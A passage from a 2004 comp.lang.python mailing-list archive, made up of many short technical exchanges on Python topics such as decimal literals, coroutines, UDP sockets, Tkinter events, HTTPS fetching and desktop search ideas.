http://www.mtholyoke.edu/~bgabriel/Social_Analysis_&_Modeling_in_Python.pdf >I understand better. Thank you. > > From carribeiro at gmail.com Fri Sep 24 16:12:06 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Fri, 24 Sep 2004 17:12:06 -0300 Subject: Why not FP for Money? In-Reply-To: References: Message-ID: <864d370904092413123dc7ad3f@mail.gmail.com> On Fri, 24 Sep 2004 16:37:56 -0300, Batista, Facundo wrote: > [Paul Rubin] > > #- I really do think now that if we're serious about supporting > #- decimals, > #- we need decimal literals. > > What do you mean with "decimal literals"? If I got Paul right, it means the same I've been advocating: a notation to write floating point decimals directly without the need to pass strings or floats. We've proposed some alternatives: 1) 'd' suffix: a = 10.123d 2) '$ prefix: a = $10.123 Both alternatives are clean and easy to read, even for novices. The 'd' suffix is closer to what Python does already for longs (the 'L' suffix). The dollar sign is easily recognized, even outside US, as a money sign (it would be better for money/fixed point, really). The changes to the parser are minimal, and there is *no* chance of any of the proposed alternatives being of the 'that's already being used class' -- no keywords are needed. It's just a matter of getting BDFL's grace for this . For now, I'm just playing with the alternatives -- it's pretty much like the big decorator debate, only the timing is better :-) (just joking, really -- a good literal notation is *much* needed to allow use of decimals without binary floating point surprises happening from time to time). -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From adurdin at gmail.com Fri Sep 3 18:53:42 2004 From: adurdin at gmail.com (Andrew Durdin) Date: Sat, 4 Sep 2004 08:53:42 +1000 Subject: What about an EXPLICIT naming scheme for built-ins? In-Reply-To: <864d3709040903080525e8fc32@mail.gmail.com> References: <864d370904090306333b53ef56@mail.gmail.com> <59e9fd3a04090307154bfd6fd8@mail.gmail.com> <864d3709040903080525e8fc32@mail.gmail.com> Message-ID: <59e9fd3a040903155321605677@mail.gmail.com> On Fri, 3 Sep 2004 12:05:38 -0300, Carlos Ribeiro wrote: > > -- overall responsiveness in applications where sort is frequently > called. Instead of waiting for the full sort at each sorted() call, > the running time of the sorting method would be divided between the > calls to the generator. Interactive and multithreaded applications can > benefit of this approach So a generator-based implementation could amortize the cost of sorting over several calls. Whether this will provide a significant benefit would depend on the algorithm used; quicksort at least wouldn't provide much benefit, as you'd still use O(log n) time to do the partitioning needed to get the first element, while returning subsequent elements would be quicker. I think that for a multithreaded app (at least), you'd be better off having a thread that does the sorting, and pushes the results into a shared Queue as it gets them, and the main thread pulls them out as they come. > p.s. I opted to send a copy of this answer to the list, I think it's > good for the discussion. I hope you don't mind. Oops -- I'd meant to send my reply to the list, but forgot to change the default recipient. From rschroev_nospam_ml at fastmail.fm Fri Sep 3 04:33:03 2004 From: rschroev_nospam_ml at fastmail.fm (Roel Schroeven) Date: Fri, 03 Sep 2004 08:33:03 GMT Subject: Carriage Return Problem with Python on Windows In-Reply-To: <48593215.0409021155.69139a18@posting.google.com> References: <48593215.0409021155.69139a18@posting.google.com> Message-ID: <3%VZc.234964$uN.12149867@phobos.telenet-ops.be> Canes_Rock wrote: > The information posted at: > > http://groups.google.com/groups?hl=en&lr=&ie=UTF-8&threadm=slrnarv28n.e4j.TuxTrax%40fortress.tuxnet&rnum=1&prev=/groups%3Fq%3Dsuppress%2Bcarriage%2Breturn%2Bgroup:comp.lang.python.*%26hl%3Den%26lr%3D%26ie%3DUTF-8%26group%3Dcomp.lang.python.*%26selm%3Dslrnarv28n.e4j.TuxTrax%2540fortress.tuxnet%26rnum%3D1 > > seemed to provide a solution to eliminating the line feed and causing > a carriage return for the text displayed in the IDLE window, (I want > to be able to overwrite displayed text - that is, eliminating the line > feed from occuring and causing a carriage return). > > The comma at the end of the print command appeared to have eliminated > the line feed, (\n), but the carriage return, (\r) does not work. For > example, (logic borrowed from previously referenced thread): > > for i in range(10) : print '\r' + `i`, > > This produces a small square box before each number, (sorry - can't > duplicate the small square box here in this posting but if you were to > substitute X for box the output would look like this): > > X1 X2 X3 X4 X5 X6 X7 X8 X9 > > as you can see the line feed has been eliminated but the carriage > return is not functioning as I would expect, (yes - its always about > me isn't it?). With IDLE, I just see 1 2 3 etc. all on one line, i.e. the same as you do but without the boxes. PythonWin shows each number on its own line. Python at the command prompt works correctly: only 9 is whown in the end, since all the other numbers are overwritten. All that on Windows XP Professional with Python 2.3.3. It seems the behavior of '\r' is dependent on the terminal. -- "Codito ergo sum" Roel Schroeven From alanmk at hotmail.com Tue Sep 7 09:22:36 2004 From: alanmk at hotmail.com (Alan Kennedy) Date: Tue, 07 Sep 2004 14:22:36 +0100 Subject: python from Java In-Reply-To: References: <0rh%c.26762$Z14.8686@news.indigo.ie> Message-ID: [Ajay] > i have xmlproc working and i can build a minidom pretty quickly using it, > which means i can port my exisiting DOM code to the PDA. That's good. So now you have fallback position that gives acceptable performance. > but i am going to use SAX and build the object model you mentioned and use > that. This will undoubtedly be faster than minidom, because you would be building a simpler data structure. Also, it's a great way to learn what DOM is actually doing for you. It's amazing how many people don't know. > just a question, how hard would it be to actually perform the comparison > using C. ie, pass the dom/object model to a C module and have it do the > comparison. Well, that depends on the nature of the comparison operation. You'd have to be more specific. > it should considerably speed up things and maybe the best time > to try my knowledge of C. the part i am worried about with using C is > converting the datatypes, ie the object model/minidom to something else in > C. Don't fall into the trap of premature optimisation. First, make it work! Then, make it fast! > anyways thanks for your help and suggestions....why didn't i try xmlproc > earlier and a dom with xmlproc is quite fast....well atleast compared to > pxdom. I've read several times that pxdom performance is not good. Fred Lundh wrote the following about it: "Sometimes, you wonder if people who releases Python libraries has ever used them in any real applications. .. [snip] .. The pxdom toolkit is 500 times slower than other portable implementations, and 3300 times slower than the fastest XML object implementation I have on this machine. Put another way, pxdom parses 4350 bytes per second on a 3 GHz PC. 690,000 cycles per byte. Wow." http://online.effbot.org/2004_08_01_archive.htm#20040820 regards, -- alan kennedy ------------------------------------------------------ email alan: http://xhaus.com/contact/alan From peter at engcorp.com Tue Sep 28 17:17:50 2004 From: peter at engcorp.com (Peter Hansen) Date: Tue, 28 Sep 2004 17:17:50 -0400 Subject: Python 2.4b1 release date? In-Reply-To: <87is9ykt9c.fsf@pobox.com> References: <87is9ykt9c.fsf@pobox.com> Message-ID: John J. Lee wrote: > Anybody know when 2.4b1 is currently planned for release? > > I'm sure I saw somebody in python-dev mention a date, but I can't find > that post now. Google found this: http://www.google.ca/search?q=cache:YBMzNEmmiNcJ:www.python.org/peps/pep-0320.html+python+2.4b1+date From fluxent at yahoo.com Fri Sep 10 12:43:00 2004 From: fluxent at yahoo.com (Bill Seitz) Date: 10 Sep 2004 09:43:00 -0700 Subject: newbie sending hex values over UDP socket References: Message-ID: Jason Lai wrote in message news:... > Bill Seitz wrote: > > I'm working with an outside "partner" to whom I want to send messages > > (I want my app to send messages to his server/receiver). He requests > > that I use UDP and an "industry standard" for formatting the data > > itself. > > > > That format is basically a bunch of hex bytes. > > > > So instead of sending 3 alphanum chars > > ri0 > > > > I have to send 3 bytes which he explains as being > > 72 69 30 > > > > Well, since he says you're sending three bytes, I assume it's the second > format. But the second format happens to be the same as the original. > > Observe: > > >>> "\x72\x69\x30" == 'ri0' > True > > Bytes are bytes, regardless of whether you write them as characters, > binary, decimals, or hexidecimals. > > - Jason Lai Are you saying I can just do something as simple as sock.send('ri0') ? (This interface is typically used over a modem connection between 2 embedded/hardware devices, if that provides a clue/context. So it's entirely possible that I've thought the situation was more complicated than it really is because the other guy is used to dealing with these low-level devices...) From elbertlev at hotmail.com Tue Sep 28 16:40:23 2004 From: elbertlev at hotmail.com (elbertlev at hotmail.com) Date: Tue, 28 Sep 2004 16:40:23 -0400 Subject: annoying behavior References: <9418be08.0409280856.9368ddf@posting.google.com> <41599BD7.7040809@bellsouth.net> Message-ID: ----- Original Message ----- From: "Jeremy Jones" To: "Elbert Lev" Cc: Sent: Tuesday, September 28, 2004 1:13 PM Subject: Re: annoying behavior Jeremy! Sure it would be nice if a the interpreter would give a warning before really instantiating the instance of class foo (at least in "debug" mode). In my case the error happened after the program ran about 30 minutes. I do not think this is impossible. From bokr at oz.net Sat Sep 18 20:33:56 2004 From: bokr at oz.net (Bengt Richter) Date: 19 Sep 2004 00:33:56 GMT Subject: Microthreads without Stackless? References: <18282ecb.0409120634.5ba044ee@posting.google.com> <18282ecb.0409151755.47b691e2@posting.google.com> <8cf9f521.0409162213.105d321e@posting.google.com> <8cf9f521.0409171009.142a3fcd@posting.google.com> Message-ID: On 17 Sep 2004 11:09:36 -0700, groups.google at gnosis.cx (David Mertz, Ph.D.) wrote: >Michael Sparks wrote in message news: >> The real root of the 'problem' "Bryan Olson" is putting forward is the >> fact that you can only jump between yield points in simple generators, >> which are inherently single level, rather than nested. (ie the >> traditional "you can't wrap generators" question) > >Yeah... I know Bryan thinks that's a problem. Mostly because he >doesn't actually know what a coroutine is. But it's true that the >scheduled coroutines I present in the mentioned article are always >"flat" (hmm... didn't I read somewhere that: "Flat is better than >nested"?) > >But that's actually just what coroutines ARE. Bryan seems to want >some kind of hybrid between actual coroutines and a call stack. Which >isn't necessarily bad. And is probably something various >languages--like Perl 6--do support. > >It might also be something that your greenlets support. It looks like >an interesting project, and I'll have to take a look at it soon, and >maybe do an article on them. But I suspect that even there, Bryan >won't get everything he wants with his additional constraint that he >not have to "change any code." > >I'm sure Michael gets the distinction, but for other readers, I'll >point out that my coroutine schedules probably does require a little >reorganization of more traditional call-chain code. For example, you >might want to modify traditional program to allow arbitrary switches >in flow control using (pseudo-code): > > def parent(): > ....do stuff... > child() > return > > def child(): > ...do stuff... > yield to uncle > return to parent > > def uncle(): > ...stuff... > yield (back) to child # nephew, I guess > >That won't work with my generator/coroutines using a scheduler. >'child()' can only yield one level up, not arbitrarily. But you can >"flatten" the exact same flow by making it: > > def parent(): > ...do stuff... > yield to child > return > > def child(): > ...do stuff... > yield to uncle > yield (back) to parent > > def uncle(): > ...stuff... > yield (back) to child > >This is pseudo-code, of course. But it's not much different from in >my article. The point is just the 'child()' can't be *called* from >'parent()', but rather must be *switched* to (via the scheduler, and a >yielded "next coroutine"). In terms of what code is executed when, >it's exactly the same thing... but there *are* some nominal changes >needed in the way you write the code. > Here is a flattening that allows parameter passing and is not pseudocode ;-) (Not tested beyond what you see, it's just an experimental toy ;-) It uses the generator functions themselves as keys identifying the coroutines, which results in simple spelling for an inter-coroutine call, i.e., co.call(other, arg, arg2, key=val, etc=more) but it doesn't allow multiple instances from the same generator, so one might want to tweak that as attribute access instead to avoid typing quotes, for different names, e.g., co.call.name(arg, arg2, key=val, etc=more) Anyway, the apparent call signature can be changed every time if desired, since the actual generator is defined with a single length-2 list containing [args, kw] and is accessible updated on continuing from a yield since mutating content doesn't change the reference. You could specify a return call "name" as an argument if you wanted to. In fact, a pair of return call names, with the second as a continuation on error makes an interesting pattern. ----< cotest.py >------------------------------------------------------------ # cotest.py # coroutine toy with arbitrary parameter passing def caller(gnak): return gnak[0]() class CO(object): def __init__(self): self.tasks = {} self.ready = [] def add(self, fun, *args, **kw): ak = [args, kw] self.tasks[fun] = caller.__get__([fun(ak).next, ak]) def call(self, fun, *args, **kw): #print 'co.call(%r, %r, %r)' %(fun, args, kw) t = self.tasks[fun] #print 'im_self:', t.im_self t.im_self[1][:] = [args, kw] self.ready.append(t) def run(self): while self.ready: try: self.ready.pop(0)() except StopIteration: pass def parent(ak): # ak is [args, kwargs] conventionally print ak, 'doing parent stuff before calling child...' yield co.call(child,'to child from parent', advice='sois sage') print ak, 'doing parent stuff after calling child...' def child(ak): print ak, 'doing child stuff before calling uncle...' yield co.call(uncle, message='to uncle from child') print ak, 'doing child stuff after calling uncle before calling parent...' yield co.call(parent, 'to parent from child', uncle_said=ak[0]) # (back) to parent print ak, 'doing child stuff after calling parent...' def uncle(ak): print ak, 'doing uncle stuff before calling child...' yield co.call(child, 'to child from uncle: tell parent') print ak, 'doing uncle stuff after calling child...' def test(): global co co = CO() co.add(parent) co.add(child) co.add(uncle) co.call(parent, 'first args to parent') co.run() if __name__ == '__main__': test() ----------------------------------------------------------------------------- Output: [17:35] C:\pywk\corout>cotest.py [('first args to parent',), {}] doing parent stuff before calling child... [('to child from parent',), {'advice': 'sois sage'}] doing child stuff before calling uncle... [(), {'message': 'to uncle from child'}] doing uncle stuff before calling child... [('to child from uncle: tell parent',), {}] doing child stuff after calling uncle before calling parent... [('to parent from child',), {'uncle_said': ('to child from uncle: tell parent',)}] doing parent stuff after calling child... Regards, Bengt Richter From barmar at alum.mit.edu Mon Sep 13 21:36:45 2004 From: barmar at alum.mit.edu (Barry Margolin) Date: Mon, 13 Sep 2004 21:36:45 -0400 Subject: check for unused ports and then grab one References: <9vhh12-suo.ln1@lairds.us> Message-ID: In article <9vhh12-suo.ln1 at lairds.us>, claird at lairds.us (Cameron Laird) wrote: > In article , > Erik Heneryd wrote: > >Brad Tilley wrote: > >> Instead of me arbitrarily assigning a high port number to a variable, is > >> it possible to check for ports that are unused and then randomly assign > >> one of them to a variable? > > > >No. Trial and error until you find one. > . > . > . > Incorrect, if I understand you both; *UNIX Network Programming* > has said for years that > The process can let the system automatically assign > a port. For both the Internet domain and the XNS > domain, specifying a port number of 0 before calling > bind() requests the system to do this. > While I've never tracked down an RFC that specifies this, it surely > exists. There's no reason for it to be in an RFC, because it's an API issue, not a protocol issue. -- Barry Margolin, barmar at alum.mit.edu Arlington, MA *** PLEASE post questions in newsgroups, not directly to me *** From skip at pobox.com Wed Sep 29 16:44:20 2004 From: skip at pobox.com (Skip Montanaro) Date: Wed, 29 Sep 2004 15:44:20 -0500 Subject: interactive help on string functions - howto In-Reply-To: <415B17D0.6080806@skynet.be> References: <415aede9$0$24598$ba620e4c@news.skynet.be> <415AF37B.9080101@bellsouth.net> <415B17D0.6080806@skynet.be> Message-ID: <16731.7844.287735.623363@montanaro.dyndns.org> Helmut> Still I wonder why I have to prefix it with 'str.' I don't need Helmut> to import str and I don't need to prefix rstrip with 'str.' to Helmut> USE it - why do I have to do so with HELP then? You need to prefix rstrip with a string instance or type (class). "str" is to readily available type (class). You could also execute help("".rstrip) Skip From webbsoft2 at alltel.net Tue Sep 21 16:42:18 2004 From: webbsoft2 at alltel.net (Jimmie Webb) Date: Tue, 21 Sep 2004 16:42:18 -0400 Subject: New to Python References: Message-ID: <0n04d.145$Nx2.6@fe39.usenetserver.com> Gee whiz. Don't jump down my throat for some oversite. It's not like I haven't put forth an effort trying to find out the problem before posting! Yeah, your right I was reading the "CREATE TABLE line out of the SIL file. Thanks (I think) "Jere Kahanpaa" wrote in message news:ciq37r$95m$1 at oravannahka.helsinki.fi... > Jimmie Webb wrote: > > I tried x = float(nCost) but keep getting an error > > ValueError: Invalid literal for float(): EATE TA > > Come on, do some basic debugging! Insert 'print repr(nCost)' before the > conversation and look at what you really are feeding to the float() > function. Well, we already now it: at some point you feed the string 'EATE > TA' to float(), and it obviously cannot convert this to a number. > > Jere > -- > Lord, make my words as sweet as honey, for one day I may have to eat them > - Daryl Benson From __peter__ at web.de Fri Sep 3 10:36:31 2004 From: __peter__ at web.de (Peter Otten) Date: Fri, 03 Sep 2004 16:36:31 +0200 Subject: print with no newline References: <2prasrFo4rruU1@uni-berlin.de> Message-ID: Paul Watson wrote: > I thought that using a comma at the end of a print statement would > suppress > printing of a newline. Am I misunderstanding this feature? How can I use > print and not have a newline appended at the end? I thought that, too. It turns out that Python writes an additional newline on exit if the softspace flag is set. So $ python -c "import sys; print 'here',; sys.stdout.softspace = False" > tmp.txt $ od -c tmp.txt 0000000 h e r e 0000004 is a viable if ugly workaround. Peter From nobody at nowhere.com Tue Sep 21 11:38:30 2004 From: nobody at nowhere.com (Fred) Date: Tue, 21 Sep 2004 17:38:30 +0200 Subject: Python as alternative to Visual Basic References: Message-ID: On Mon, 20 Sep 2004 21:01:43 -0600, Dave Brueck wrote: >And don't forget ctypes! Although not a Windows-only tool, on a Windows system >it opens the door to pretty much every Win32 API there is, all from pure Python. Is there a framework that uses ctypes and wraps the Windows API as a set of classes? I'd rather use the native Windows widgets instead of using wxWidgets or Qt, but I don't really like PythonWin/MFC. Fred. From jmlai at uci.edu Thu Sep 9 22:42:25 2004 From: jmlai at uci.edu (Jason Lai) Date: Thu, 09 Sep 2004 19:42:25 -0700 Subject: Using regular expressions to extract substrings from files In-Reply-To: References: Message-ID: Timothy Hume wrote: > Hi, > > I am new to Python, and was wondering if it is possible to operate on > files using regular expressions. > > What I mean is this: > - It is easy to search for a substring of a string using regular > expressions > - Can I also search for a substring inside a file using regular > expressions? The substring may span several lines (ie there may be > embedded new line and carriage return characters). > > So far, the only way I know how to do this is to read the entire file into > a string, and then parse the resulting string with regular expressions. > This is OK for small files (in fact it is probably quite efficient, > because the disc I/O is done all at once). However, once the files get > large, there is the risk I will run out of memory. The closest UNIX tool I > can think of to do this sort of job is grep, but that doesn't have the > power and flexibility of Python. > > Any ideas would be appreciated. > > Tim Hume > Bureau of Meteorology Research Centre > Melbourne > Australia > http://docs.python.org/lib/module-mmap.html From fredrik at pythonware.com Sun Sep 12 09:44:03 2004 From: fredrik at pythonware.com (Fredrik Lundh) Date: Sun, 12 Sep 2004 15:44:03 +0200 Subject: 'telegraphy' as a means of data entry References: <8YGdnbbBS6xILt7cRVn-iA@powergate.ca> Message-ID: Peter Hansen wrote: > > | > I need to record the respective times of the events in a sequence of > > | > presses/releases of a particular key on the computer keyboard. > And Tkinter could certainly do it to, but I don't do Tkinter. :) in Tkinter, you'll find the event time (in milliseconds) in the time attribute of the event descriptor: from Tkinter import * frame = Frame(width=100, height=100) frame.pack() frame.focus() def handler(event): print event.time / 1000.0 frame.bind("", handler) mainloop() the above only tracks key presses; if you need to track releases as well, add an extra binding for KeyRelease. also note that unlike Peter's example, the time attribute contains the time when the event was generated, not when it reached your program. From jjl at pobox.com Wed Sep 1 17:43:08 2004 From: jjl at pobox.com (John J. Lee) Date: 01 Sep 2004 22:43:08 +0100 Subject: multipart/form-data in an HTTP client References: <10jc6ua32ccht5e@corp.supernews.com> Message-ID: <87acw9oec3.fsf@pobox.com> Jeff Shannon writes: [...] > I've been using something closely modelled on that Cookbook recipe, > without any real problems. (I've updated it to use > HTTP[S]Connection() and return the response object, and in my case I'm > connecting to an HTTPS server, but these are trivial modifications.) > > I, too, was surprised that the existing Python libraries don't > directly support multipart/form-data already, and I hope that this > gets added in soon. [...] Have you published your function? If not, please do. Several people would like to see such a function in 2.5 (including me), and your function sounds a good candidate. Maybe a little polishing is required, but don't let that stop you: if you don't get time to do that polishing, this is a rare occasion when somebody else is likely to push it the small additional distance it would need to go in order to get into the Python stdlib! John From me at privacy.net Sat Sep 25 15:37:50 2004 From: me at privacy.net (Richard Hanson) Date: Sat, 25 Sep 2004 12:37:50 -0700 Subject: [OT] "Pre-announcement" of Python-based "computing appliance" project. References: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com> <864d370904092305026f41795@mail.gmail.com> <1gkm0e6.chc32oojaw31N%aleaxit@yahoo.com> <0lu8l09suqjh3ugkcka20f3mg3mttig6up@4ax.com> <1gknvl5.1r7djjrcwbtbyN%aleaxit@yahoo.com> Message-ID: Alex Martelli wrote: > Richard Hanson wrote: > ... > > > search facilities _together_ with good organization of your materials > > > (if you take the bother of the latter). Consider Mail.app: its search > > > functionality works across all mailboxes or on a single mailbox -- > > > you're _still_ encouraged to do a little decent filing of your mails, > > > > It *does* seem necessary to "educate" the database about our own > > preferences and styles of organization and the like, as well as > > "rating and filing" specific, individual objects. I'm interested in > > figuring out ways to make it *very* easy to "add value" to the > > database with a more efficient HCI -- unless it's very, very simple to > > do (nearly automatic, even ;-) ), the user won't do it. > > There are many kinds of users. Agreed -- I spoke too loosely, there. > I essentially rely on automatic > classification of mails into mailboxes based on a dozen or so > rules/filters. But my wife Anna, who's worked as office manager etc for > years, has filing as "second nature" -- _her_ mailboxes (Thunderbird, > her preference) are neat and pristine, just like her filing cabinets. > > In real life whenever I have to look for some weird document I face > hours of rummaging through papers trying to divine where I may have put > it; when Anna is looking for a document in her archives, she reaches > into the right folder, and there it is, period. On computers, with > automatic classification rules and search engines &c, her advantage is > not quite as pronounced -- but it's still there. > > I have known several people with a penchant for effective and systematic > filing, though they are no doubt a minority, wrt us slobs. It's > important for the system not to get in their way: for example, when they > move a mail from folder 'pending purchase decisions' to folder > 'purchases considered but rejected', the system must automatically and > seamlessly update the indexes of both folders, and the global index of > all boxes, too. Otherwise, if the system makes it _less_ effective to > do good classification and filing, it will earn deserved scorn and > enmity from those kind of users. One problem I have with tree organizations is that often I want an object to be in several or many branches of the tree -- the memory cost for larger objects, and the synchronizational problems resulting from the replication of such, can become problematic. I like the flat-file approach with "virtual folders," if you will, through the definition and addition of "folder attributes" (again, if you will) attached to the individual objects. This approach makes possible the ability to have multiple virtual trees of organization with easy switching from one organization to another. (Possibly, a *partial* emulation of this part of my idea could be implemented using Linux and Unix's "sym-links" [if I have that term correct]. However, I would prefer a proof-of-concept work on top of Windows, as well, and therefore I'm thinking of a database with one field containing the object's path, leaving the objects (for now) in the hierarchical harddrive's tree.) > > > though the search does make it more feasible to survive with the popular > > > "one big inbox and never bother filing" paradigm;-). > > > > I'm thinking one database with some auto-indexing helped along with > > specific user guidance re the "value-adding" aspect. Without some sort > > of fast auto-indexing, of course, and without the easy ability for > > user attribute-adding, the "one big box" paradigm could be painfully > > slow for precise narrowing of large collections of heterogeneous > > objects. Presumably, the above mentioned apps, and Google, of course, > > do the auto-indexing part. > > Yes, and 'searchlight', Tiger's forthcoming search engine, centralizes > the indexing (still needs SOME cooperation from apps, of course) as well > as the search. The ability for the user to tag documents with arbitrary > metadata is also a key part of this, I assume it's what you call the > "value adding aspect"? Correct -- that is what I mean. Also, a key point is that it needs to be drop-dead easy to "add value" (the arbitrary metadata) so that lazy humans like me will do such. :-) > > Apple's work definitely sounds like a step in the right direction. Is > > there *complete* integration of *all* object types? > > Only in as much as applications cooperate with the central engine, at > least in some aspects. That may be why Apple has been circulating > alphas of Tiger to developers with such HUGE lead time, up to a year > before it hits the shelves: Searchlight's value grows exponentially the > more apps register their documents' metadata with it, and use it for > their search facilities -- app developers need time to enable that. Say > a user prefers Entourage or Thunderbird to Mail.app for their mails: > such a user will find Searchlight less useful than a Mail.app user will > _unless_ these other mail apps cooperate with Searchlight (sure, Apple > might reverse engineer _some_ file formats for documents of some > recalcitrant apps of particular importance, but that's more overall > work, and will still tend to produce results not quite as satisfactory, > than if the app's own developers did the job...). Again, this is sounding quite encouraging -- on Apple's part, at least. > > As I see it, the user should be able to tap a button and change an > > email into a snailmail doc, or vice versa, say, with the system > > handling the details automagically. > > In Tiger, such import/export facilities remain fully up to individual > apps -- there's just no way an indexing and search facility can have > enough metadata on all aspects of documents of disparate types > (including, crucially, formatting/presentation issues) to do the job. Check. That's why I think an "appliance" or embedded approach is a nice target. *One* development team makes the one, monolithic "app" with the OS *and* user functionality integrated within. > > And, with a few appropriately set > > filters using attributes, sorts, and such, the user should be able to > > see all the emails, documents, pics, sounds, flicks, etc. relating to, > > for example, "Pink Floyd" -- all in one, narrowed view even though the > > objects are of disparate types. > > Yes, this IS part of Searchlight's functionality, and part of the added > value of a centralized indexing/search wrt per-app facilities. Again, quite encouraging. One of the reasons I started this thread was to tease out other work related to mine which I was unaware of. I have long observed that many folks independently but concurrently come up with the same epiphanies and ideas. I had sincerely hoped that this was the case with my ideas, as well. (Indeed, I was presuming such -- not wanting to reinvent the wheel, and realizing that many, much-more-capable people are on this planet. :-) ) > > I don't have access to the modern Macs -- they sound more interesting > > to me than the Wintels I'm using. (Although, pedantically speaking, my > > currently not-working Fujitsu laptop uses a Transmeta chip, not an > > Intel one.) > > Heh -- Anna's got a Fujitsu with a Transmeta chip, too (P2000 Lifebook, > works fine, alas not very fine with Linux yet;-). And all the Linux > boxes in the house have AMD chips, better value-for-money (there _is_ an > OpenBSD box with a pentium 75 that does routing, firewalling &c year > after year since the dark ages, admittedly). Mine is a P1120 LifeBook with touchscreen. I have read about two people who were successful in getting Linux running with the touchscreen *somewhat* operational on the P1120. The touchscreen is particularly important to me for the several reasons I mentioned previously. (I plan on getting a new harddrive for the P1120, soon, and then see if I can get a Linux distro installed with the touchscreen fully functional.) > Today's Macs don't have Tiger yet (unless an alpha-stage developer > preview), though some of the (mostly per-app) search facilities are > indeed excellent even in Panther, the current release of MacOS X. Tiger > should be out in the spring of 2005, and it will cost about $150 (free > with _new_ Macs, but $150 to upgrade existing ones). Indeed, it sounds *very* interesting. > > Mike Meyer's link to an implementation of Jeff Raskin's work also > > sounds quite interesting. I note from scanning the smaller zipfile > > referenced in the link some similarity with my own ideas -- no save or > > delete, for example, such being either unnecessary or is transparently > > handled under-the-covers. > > Yes, Raskin's paradigms are definitely revolutionary, for good or for > evil. ;-) > Apple (and I guess MS for Longhorn) OTOH are living in the real > world, where apps from multiple suppliers with their own separate > documents (sometimes in proprietary formats, sigh) are a reality and > users won't drop them (particularly as they need to keep exchanging docs > with other people using other machines), so any paradigm shift must > accomodate the likelihood of gradual and incomplete transitions... I understand your point about Apple et al starting from the current real-world situation and mapping out a route forward, starting from here. That's a necessary step in the evolutionary process -- I totally concur. My project aims for a more distant, down-the-road point, with parts of the project not even solvable at this time (the hardware platform, for instance), and without a transitional route mapped out. Thus, my desire to realize a prototype on top of the current platforms as a proof-of-concept. (We'll see if I have the energy and wherewithal to get anywhere. :-) ) Thanks for the enlightening comments! life-is-all-about-taxonomy'ly y'rs Richard Hanson -- sickoldfartnewsguycom From jbellis at gmail.com Fri Sep 3 00:04:42 2004 From: jbellis at gmail.com (Jonathan Ellis) Date: 2 Sep 2004 21:04:42 -0700 Subject: get https page In-Reply-To: <56d498d9.0409021932.1dcf8256@posting.google.com> Message-ID: >>> import urllib >>> r = urllib.urlopen("https://www.schedulesource.com/teamwork/logon/") >>> r.read() '\r\n References: <1aj14grs82tj.1eso0930azfaa$.dlg@40tude.net> <1093794853.349452@news.commspeed.net> <41357372.E263DE37@alcyone.com> <8548c5f3.0409010533.1fed5008@posting.google.com> <1hhcev52r31j6.1nier31029dhk.dlg@40tude.net> Message-ID: <10jf6eq9rv7osbf@corp.supernews.com> Lucas Raab wrote: >So it's not like Python if it's incompatible. > > > Uh, how do you figure that? Java is like C++, but it's not compatible. Javascript is like Java, but it's not compatible. Visual Basic is like GWBasic, but it's not compatible. I'm not convinced that there's a real need for something like PyCS (or whatever it ends up being called), but I have no problem with it being described as being "like" Python. And whether there's a particular need for it or not, I certainly don't see this as being any "worse", in whatever sense, of a project than, say, building yet another Python web framework... Jeff Shannon Technician/Programmer Credit International From seandavidross at hotmail.com Fri Sep 17 15:03:11 2004 From: seandavidross at hotmail.com (Sean Ross) Date: Fri, 17 Sep 2004 15:03:11 -0400 Subject: getting the function name References: <3064b51d.0409170927.584a10b3@posting.google.com> <2r0n4cF14n79gU1@uni-berlin.de> Message-ID: "Russell Blau" wrote in message news:2r0n4cF14n79gU1 at uni-berlin.de... > wrote in message > news:3064b51d.0409170927.584a10b3 at posting.google.com... > > Is there a way in Python to print the name of the function one is > > currently in? > > Google is your friend: > > http://groups.google.com/groups?threadm=bado6f%24rgf%241%40driftwood.ccs.carleton.ca&rnum=1 > Hi. The posting that the above link refers to was made by me, but I'd like to suggest that you do not use the code presented there (def WhoMightIBe()). That was just a bit of a failed experiment to see whether I could track down the name of a function _after_it_had_been_aliased_. What the OP wants is the recipe (by Alex Martelli [1]) quoted in the posting I made previous to this one. I regret posting that experiment now - It was fun to try, but I think it casts more shadow than light. Good luck, Sean [1] http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/66062 From http Wed Sep 1 22:18:53 2004 From: http (Paul Rubin) Date: 01 Sep 2004 19:18:53 -0700 Subject: I think a problem occured when i used long() References: <8f17f4bc.0409011101.5ace996@posting.google.com> <56cfb0e3.0409011724.3e4c2111@posting.google.com> Message-ID: <7xisax8lbm.fsf@ruckus.brouhaha.com> porky_pig_jr at my-deja.com (Porky Pig Jr) writes: > Incidently, I remember seeing the thread somewhere re whether we need > 128bit floating representation (with similarly adjusted number of bits > for precision) and the general consensus was that the double covers > pretty much all the bases. The x86 supports 80 bit extended floats and I hope Python has a way to use them (maybe with a build option). I'd had the impression that some of the PowerPC processors support 128 bit floats, but I'm not sure of that. And it may be limited to IBM workstation processors, not Macs. From mlh at furu.idi.ntnu.no Fri Sep 3 12:30:33 2004 From: mlh at furu.idi.ntnu.no (Magnus Lie Hetland) Date: Fri, 3 Sep 2004 16:30:33 +0000 (UTC) Subject: Combining mode and encoding in emacs Message-ID: If I want to specify both mode and source encoding using the -*- FOO -*- syntax in emacs -- how can I do that? Both insist on being on the second line of the file, yet I have found no way of combining them. That is, the following doesn't work properly (not in all emaxen, at least): #!/usr/bin/env python # -*- encoding: iso-8859-1 -*- # -*- python -*- If I switch the two, Python doesn't get the encoding. (I need to specify the mode, because the file has a '.cgi' ending.) Any tips? -- Magnus Lie Hetland "Canned Bread: The greatest thing since sliced http://hetland.org bread!" [from a can in Spongebob Squarepants] From aleaxit at yahoo.com Fri Sep 24 02:58:20 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Fri, 24 Sep 2004 08:58:20 +0200 Subject: [OT] "Pre-announcement" of Python-based "computing appliance" project. References: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com> <864d370904092305026f41795@mail.gmail.com> Message-ID: <1gkm0e6.chc32oojaw31N%aleaxit@yahoo.com> Ksenia Marasanova wrote: ... > > are discussed there too -- namely, they're hiding folders, drive > > names, etc, from the user view, and creating a new and much simplified > > user interface. > Fortunately, Apple has been working even harder and is already there > with Tiger: > http://www.apple.com/macosx/tiger/spotlight.html > http://www.apple.com/macosx/tiger/search_finder.html Even more fortunately, Apple has learned some lessons over the last 20 